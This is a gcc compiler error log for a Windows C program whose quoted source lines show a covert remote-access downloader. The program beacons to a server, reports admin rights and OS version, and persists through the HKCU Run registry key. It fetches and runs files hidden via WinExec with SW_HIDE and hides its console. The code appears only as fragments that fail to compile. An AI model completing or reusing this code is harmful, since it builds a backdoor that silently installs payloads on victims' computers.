prog.c:3:21: error: unknown type name ‘SOCKET’
void connect_server(SOCKET* s,char* pc,char* version); // connect to page and get
^~~~~~
prog.c:7:1: error: expected identifier or ‘(’ before ‘+’ token
+void computer_name(TCHAR * computername);
^
prog.c: In function ‘main’:
prog.c:13:2: warning: implicit declaration of function ‘Sleep’ [-Wimplicit-function-declaration]
Sleep(20000); // miliseconds 1000 = 1 sec
^~~~~
prog.c:20:2: error: unknown type name ‘TCHAR’
TCHAR computername[MAX_COMPUTERNAME_LENGTH + 1]; // used for computer_name func
^~~~~
prog.c:20:21: error: ‘MAX_COMPUTERNAME_LENGTH’ undeclared (first use in this function)
TCHAR computername[MAX_COMPUTERNAME_LENGTH + 1]; // used for computer_name func
^~~~~~~~~~~~~~~~~~~~~~~
prog.c:20:21: note: each undeclared identifier is reported only once for each function it appears in
prog.c:21:2: warning: implicit declaration of function ‘computer_name’ [-Wimplicit-function-declaration]
computer_name(computername);
^~~~~~~~~~~~~
prog.c:29:2: error: unknown type name ‘WSADATA’
WSADATA WSA;
^~~~~~~
prog.c:30:2: error: unknown type name ‘SOCKET’
SOCKET s; // our socket
^~~~~~
prog.c:31:21: error: storage size of ‘server’ isn’t known
struct sockaddr_in server; // socket info for server
^~~~~~
prog.c:34:21: error: storage size of ‘SockAddr’ isn’t known
struct sockaddr_in SockAddr;// used with gethostbyname
^~~~~~~~
prog.c:39:2: warning: implicit declaration of function ‘WSAStartup’ [-Wimplicit-function-declaration]
WSAStartup(MAKEWORD(2,2),&WSA);
^~~~~~~~~~
prog.c:39:13: warning: implicit declaration of function ‘MAKEWORD’ [-Wimplicit-function-declaration]
WSAStartup(MAKEWORD(2,2),&WSA);
^~~~~~~~
prog.c:42:23: warning: implicit declaration of function ‘gethostbyname’ [-Wimplicit-function-declaration]
struct hostent *ip = gethostbyname(url);
^~~~~~~~~~~~~
prog.c:42:23: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
prog.c:43:2: warning: implicit declaration of function ‘memcpy’ [-Wimplicit-function-declaration]
memcpy(&(SockAddr.sin_addr),ip->h_addr,ip->h_length);
^~~~~~
prog.c:43:2: warning: incompatible implicit declaration of built-in function ‘memcpy’
prog.c:43:2: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’
prog.c:43:32: error: dereferencing pointer to incomplete type ‘struct hostent’
memcpy(&(SockAddr.sin_addr),ip->h_addr,ip->h_length);
^~
prog.c:44:14: warning: implicit declaration of function ‘inet_ntoa’ [-Wimplicit-function-declaration]
char* pIP = inet_ntoa(SockAddr.sin_addr);
^~~~~~~~~
prog.c:47:2: warning: implicit declaration of function ‘WSACleanup’ [-Wimplicit-function-declaration]
WSACleanup();
^~~~~~~~~~
prog.c:56:7: warning: implicit declaration of function ‘socket’ [-Wimplicit-function-declaration]
s = socket(AF_INET,SOCK_STREAM, 0);
^~~~~~
prog.c:56:14: error: ‘AF_INET’ undeclared (first use in this function)
s = socket(AF_INET,SOCK_STREAM, 0);
^~~~~~~
prog.c:56:22: error: ‘SOCK_STREAM’ undeclared (first use in this function)
s = socket(AF_INET,SOCK_STREAM, 0);
^~~~~~~~~~~
prog.c:59:28: warning: implicit declaration of function ‘inet_addr’ [-Wimplicit-function-declaration]
server.sin_addr.s_addr = inet_addr(pIP); // server ip
^~~~~~~~~
prog.c:61:21: warning: implicit declaration of function ‘htons’ [-Wimplicit-function-declaration]
server.sin_port = htons(12); // server port
^~~~~
prog.c:64:3: warning: implicit declaration of function ‘connect’ [-Wimplicit-function-declaration]
connect(s,(struct sockaddr *)&server,sizeof(server));
^~~~~~~
prog.c:67:3: warning: implicit declaration of function ‘connect_server’ [-Wimplicit-function-declaration]
connect_server(&s,pc,version);
^~~~~~~~~~~~~~
prog.c:70:15: warning: implicit declaration of function ‘recv’ [-Wimplicit-function-declaration]
recv_size = recv(s,server_reply,2000,0);
^~~~
prog.c:74:6: warning: implicit declaration of function ‘strstr’ [-Wimplicit-function-declaration]
if(strstr(server_reply, "download") != NULL)
^~~~~~
prog.c:74:6: warning: incompatible implicit declaration of built-in function ‘strstr’
prog.c:74:6: note: include ‘<string.h>’ or provide a declaration of ‘strstr’
prog.c:74:42: error: ‘NULL’ undeclared (first use in this function)
if(strstr(server_reply, "download") != NULL)
^~~~
prog.c:80:3: warning: implicit declaration of function ‘closesocket’ [-Wimplicit-function-declaration]
closesocket(s);
^~~~~~~~~~~
prog.c:34:21: warning: unused variable ‘SockAddr’ [-Wunused-variable]
struct sockaddr_in SockAddr;// used with gethostbyname
^~~~~~~~
prog.c:33:6: warning: variable ‘recv_size’ set but not used [-Wunused-but-set-variable]
int recv_size; // bytes recived
^~~~~~~~~
prog.c:32:8: warning: unused variable ‘message’ [-Wunused-variable]
char* message, server_reply[2000]; // holds mesage recv and message sent
^~~~~~~
prog.c:31:21: warning: unused variable ‘server’ [-Wunused-variable]
struct sockaddr_in server; // socket info for server
^~~~~~
prog.c:20:8: warning: unused variable ‘computername’ [-Wunused-variable]
TCHAR computername[MAX_COMPUTERNAME_LENGTH + 1]; // used for computer_name func
^~~~~~~~~~~~
prog.c: In function ‘addstartup’:
prog.c:88:3: error: unknown type name ‘TCHAR’
TCHAR path[100];
^~~~~
prog.c:89:3: warning: implicit declaration of function ‘GetModuleFileName’ [-Wimplicit-function-declaration]
GetModuleFileName(NULL,path,100);
^~~~~~~~~~~~~~~~~
prog.c:89:21: error: ‘NULL’ undeclared (first use in this function)
GetModuleFileName(NULL,path,100);
^~~~
prog.c:90:3: error: unknown type name ‘HKEY’
HKEY newValue;
^~~~
prog.c:91:3: warning: implicit declaration of function ‘RegOpenKey’ [-Wimplicit-function-declaration]
RegOpenKey(HKEY_CURRENT_USER ,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);
^~~~~~~~~~
prog.c:91:14: error: ‘HKEY_CURRENT_USER’ undeclared (first use in this function)
RegOpenKey(HKEY_CURRENT_USER ,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);
^~~~~~~~~~~~~~~~~
prog.c:92:3: warning: implicit declaration of function ‘RegSetValueEx’ [-Wimplicit-function-declaration]
RegSetValueEx(newValue,"ghostlulz",0,REG_SZ,(LPBYTE)path,sizeof(path));
^~~~~~~~~~~~~
prog.c:92:40: error: ‘REG_SZ’ undeclared (first use in this function)
RegSetValueEx(newValue,"ghostlulz",0,REG_SZ,(LPBYTE)path,sizeof(path));
^~~~~~
prog.c:92:48: error: ‘LPBYTE’ undeclared (first use in this function)
RegSetValueEx(newValue,"ghostlulz",0,REG_SZ,(LPBYTE)path,sizeof(path));
^~~~~~
prog.c:92:55: error: expected ‘)’ before ‘path’
RegSetValueEx(newValue,"ghostlulz",0,REG_SZ,(LPBYTE)path,sizeof(path));
^~~~
prog.c:93:3: warning: implicit declaration of function ‘RegCloseKey’ [-Wimplicit-function-declaration]
RegCloseKey(newValue);
^~~~~~~~~~~
prog.c: In function ‘adminyn’:
prog.c:100:2: error: unknown type name ‘BOOL’
BOOL IsUserAnAdmin();
^~~~
prog.c:112:2: error: unknown type name ‘BOOL’
BOOL b;
^~~~
prog.c:113:2: error: unknown type name ‘SID_IDENTIFIER_AUTHORITY’
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
^~~~~~~~~~~~~~~~~~~~~~~~
prog.c:113:41: error: ‘SECURITY_NT_AUTHORITY’ undeclared (first use in this function)
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
^~~~~~~~~~~~~~~~~~~~~
prog.c:114:2: error: unknown type name ‘PSID’
PSID AdministratorsGroup;
^~~~
prog.c:115:6: warning: implicit declaration of function ‘AllocateAndInitializeSid’ [-Wimplicit-function-declaration]
b = AllocateAndInitializeSid(
^~~~~~~~~~~~~~~~~~~~~~~~
prog.c:118:3: error: ‘SECURITY_BUILTIN_DOMAIN_RID’ undeclared (first use in this function)
SECURITY_BUILTIN_DOMAIN_RID,
^~~~~~~~~~~~~~~~~~~~~~~~~~~
prog.c:119:3: error: ‘DOMAIN_ALIAS_RID_ADMINS’ undeclared (first use in this function)
DOMAIN_ALIAS_RID_ADMINS,
^~~~~~~~~~~~~~~~~~~~~~~
prog.c:124:8: warning: implicit declaration of function ‘CheckTokenMembership’ [-Wimplicit-function-declaration]
if (!CheckTokenMembership( NULL, AdministratorsGroup, &b))
^~~~~~~~~~~~~~~~~~~~
prog.c:124:30: error: ‘NULL’ undeclared (first use in this function)
if (!CheckTokenMembership( NULL, AdministratorsGroup, &b))
^~~~
prog.c:126:9: error: ‘FALSE’ undeclared (first use in this function)
b = FALSE;
^~~~~
prog.c:128:3: warning: implicit declaration of function ‘FreeSid’ [-Wimplicit-function-declaration]
FreeSid(AdministratorsGroup);
^~~~~~~
prog.c:133:3: warning: implicit declaration of function ‘printf’ [-Wimplicit-function-declaration]
printf("user");
^~~~~~
prog.c:133:3: warning: incompatible implicit declaration of built-in function ‘printf’
prog.c:133:3: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
prog.c:134:3: warning: implicit declaration of function ‘strcpy’ [-Wimplicit-function-declaration]
strcpy(pc,"user");
^~~~~~
prog.c:134:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
prog.c:134:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:136:13: error: ‘TRUE’ undeclared (first use in this function)
else if(b==TRUE)
^~~~
prog.c:138:3: warning: incompatible implicit declaration of built-in function ‘printf’
printf("admin");
^~~~~~
prog.c:138:3: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
prog.c:139:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
strcpy(pc, "admin");
^~~~~~
prog.c:139:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c: At top level:
prog.c:143:21: error: unknown type name ‘SOCKET’
void connect_server(SOCKET* s,char* pc,char* version)
^~~~~~
prog.c: In function ‘download’:
prog.c:183:12: warning: incompatible implicit declaration of built-in function ‘strstr’
char* p = strstr(server_reply, "download");// copy only the line with our command
^~~~~~
prog.c:183:12: note: include ‘<string.h>’ or provide a declaration of ‘strstr’
prog.c:186:13: warning: implicit declaration of function ‘strchr’ [-Wimplicit-function-declaration]
char* pp = strchr(p+9,'/');// find / char
^~~~~~
prog.c:186:13: warning: incompatible implicit declaration of built-in function ‘strchr’
prog.c:186:13: note: include ‘<string.h>’ or provide a declaration of ‘strchr’
prog.c:190:3: warning: implicit declaration of function ‘puts’ [-Wimplicit-function-declaration]
puts(pp+1);// pp+1 strip of the / tag
^~~~
prog.c:211:29: warning: implicit declaration of function ‘malloc’ [-Wimplicit-function-declaration]
char * message3 = (char *) malloc(1 + strlen(str6)+ strlen(str7)+ strlen(str8)+ strlen(str9)+ strlen(str10)+ strlen(str11)+ strlen(str12) );
^~~~~~
prog.c:211:29: warning: incompatible implicit declaration of built-in function ‘malloc’
prog.c:211:29: note: include ‘<stdlib.h>’ or provide a declaration of ‘malloc’
prog.c:211:40: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
char * message3 = (char *) malloc(1 + strlen(str6)+ strlen(str7)+ strlen(str8)+ strlen(str9)+ strlen(str10)+ strlen(str11)+ strlen(str12) );
^~~~~~
prog.c:211:40: warning: incompatible implicit declaration of built-in function ‘strlen’
prog.c:211:40: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
prog.c:213:2: warning: incompatible implicit declaration of built-in function ‘strcpy’
strcpy(message3,str6);
^~~~~~
prog.c:213:2: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:214:2: warning: implicit declaration of function ‘strcat’ [-Wimplicit-function-declaration]
strcat(message3,str7);
^~~~~~
prog.c:214:2: warning: incompatible implicit declaration of built-in function ‘strcat’
prog.c:214:2: note: include ‘<string.h>’ or provide a declaration of ‘strcat’
prog.c:222:2: warning: implicit declaration of function ‘WinExec’ [-Wimplicit-function-declaration]
WinExec(message3,SW_HIDE); // download and execute file *****must use winexec not system() with sw_hide option to hide console window*****
^~~~~~~
prog.c:222:19: error: ‘SW_HIDE’ undeclared (first use in this function)
WinExec(message3,SW_HIDE); // download and execute file *****must use winexec not system() with sw_hide option to hide console window*****
^~~~~~~
prog.c:223:2: warning: implicit declaration of function ‘free’ [-Wimplicit-function-declaration]
free(message3);
^~~~
prog.c:223:2: warning: incompatible implicit declaration of built-in function ‘free’
prog.c:223:2: note: include ‘<stdlib.h>’ or provide a declaration of ‘free’
prog.c:184:8: warning: unused variable ‘c’ [-Wunused-variable]
char* c = p+9; // strip off the word download
^
prog.c: In function ‘freeme’:
prog.c:227:3: warning: implicit declaration of function ‘FreeConsole’ [-Wimplicit-function-declaration]
FreeConsole(); // removes console window/ runs program silent in background
^~~~~~~~~~~
prog.c: In function ‘os_version’:
prog.c:231:2: error: unknown type name ‘OSVERSIONINFOEX’
OSVERSIONINFOEX info;
^~~~~~~~~~~~~~~
prog.c:232:5: warning: implicit declaration of function ‘ZeroMemory’ [-Wimplicit-function-declaration]
ZeroMemory(&info, sizeof(OSVERSIONINFOEX));
^~~~~~~~~~
prog.c:232:30: error: ‘OSVERSIONINFOEX’ undeclared (first use in this function)
ZeroMemory(&info, sizeof(OSVERSIONINFOEX));
^~~~~~~~~~~~~~~
prog.c:233:9: error: request for member ‘dwOSVersionInfoSize’ in something not a structure or union
info.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
^
prog.c:236:5: warning: implicit declaration of function ‘GetVersionEx’ [-Wimplicit-function-declaration]
GetVersionEx(&info);
^~~~~~~~~~~~
prog.c:239:9: error: request for member ‘dwMajorVersion’ in something not a structure or union
if(info.dwMajorVersion == 6 && info.dwMinorVersion == 1)
^
prog.c:239:37: error: request for member ‘dwMinorVersion’ in something not a structure or union
if(info.dwMajorVersion == 6 && info.dwMinorVersion == 1)
^
prog.c:241:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
strcpy(version, "Windows7|Server2012");
^~~~~~
prog.c:241:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:244:14: error: request for member ‘dwMajorVersion’ in something not a structure or union
else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 0)
^
prog.c:244:42: error: request for member ‘dwMinorVersion’ in something not a structure or union
else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 0)
^
prog.c:246:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
strcpy(version, "WindowsVista|server2008");
^~~~~~
prog.c:246:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:249:14: error: request for member ‘dwMajorVersion’ in something not a structure or union
else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 2)
^
prog.c:249:42: error: request for member ‘dwMinorVersion’ in something not a structure or union
else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 2)
^
prog.c:251:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
strcpy(version, "Windows8|server2012");
^~~~~~
prog.c:251:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:254:14: error: request for member ‘dwMajorVersion’ in something not a structure or union
else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 3)
^
prog.c:254:42: error: request for member ‘dwMinorVersion’ in something not a structure or union
else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 3)
^
prog.c:256:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
strcpy(version, "Windows8.1|Server2012R");
^~~~~~
prog.c:256:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:259:14: error: request for member ‘dwMajorVersion’ in something not a structure or union
else if(info.dwMajorVersion == 10 && info.dwMinorVersion == 0)
^
prog.c:259:43: error: request for member ‘dwMinorVersion’ in something not a structure or union
else if(info.dwMajorVersion == 10 && info.dwMinorVersion == 0)
^
prog.c:261:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
strcpy(version, "Windows10|Server2008");
^~~~~~
prog.c:261:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:266:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
strcpy(version, "Unknown");
^~~~~~
prog.c:266:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c: At top level:
prog.c:271:20: error: unknown type name ‘TCHAR’
void computer_name(TCHAR * computername)
^~~~~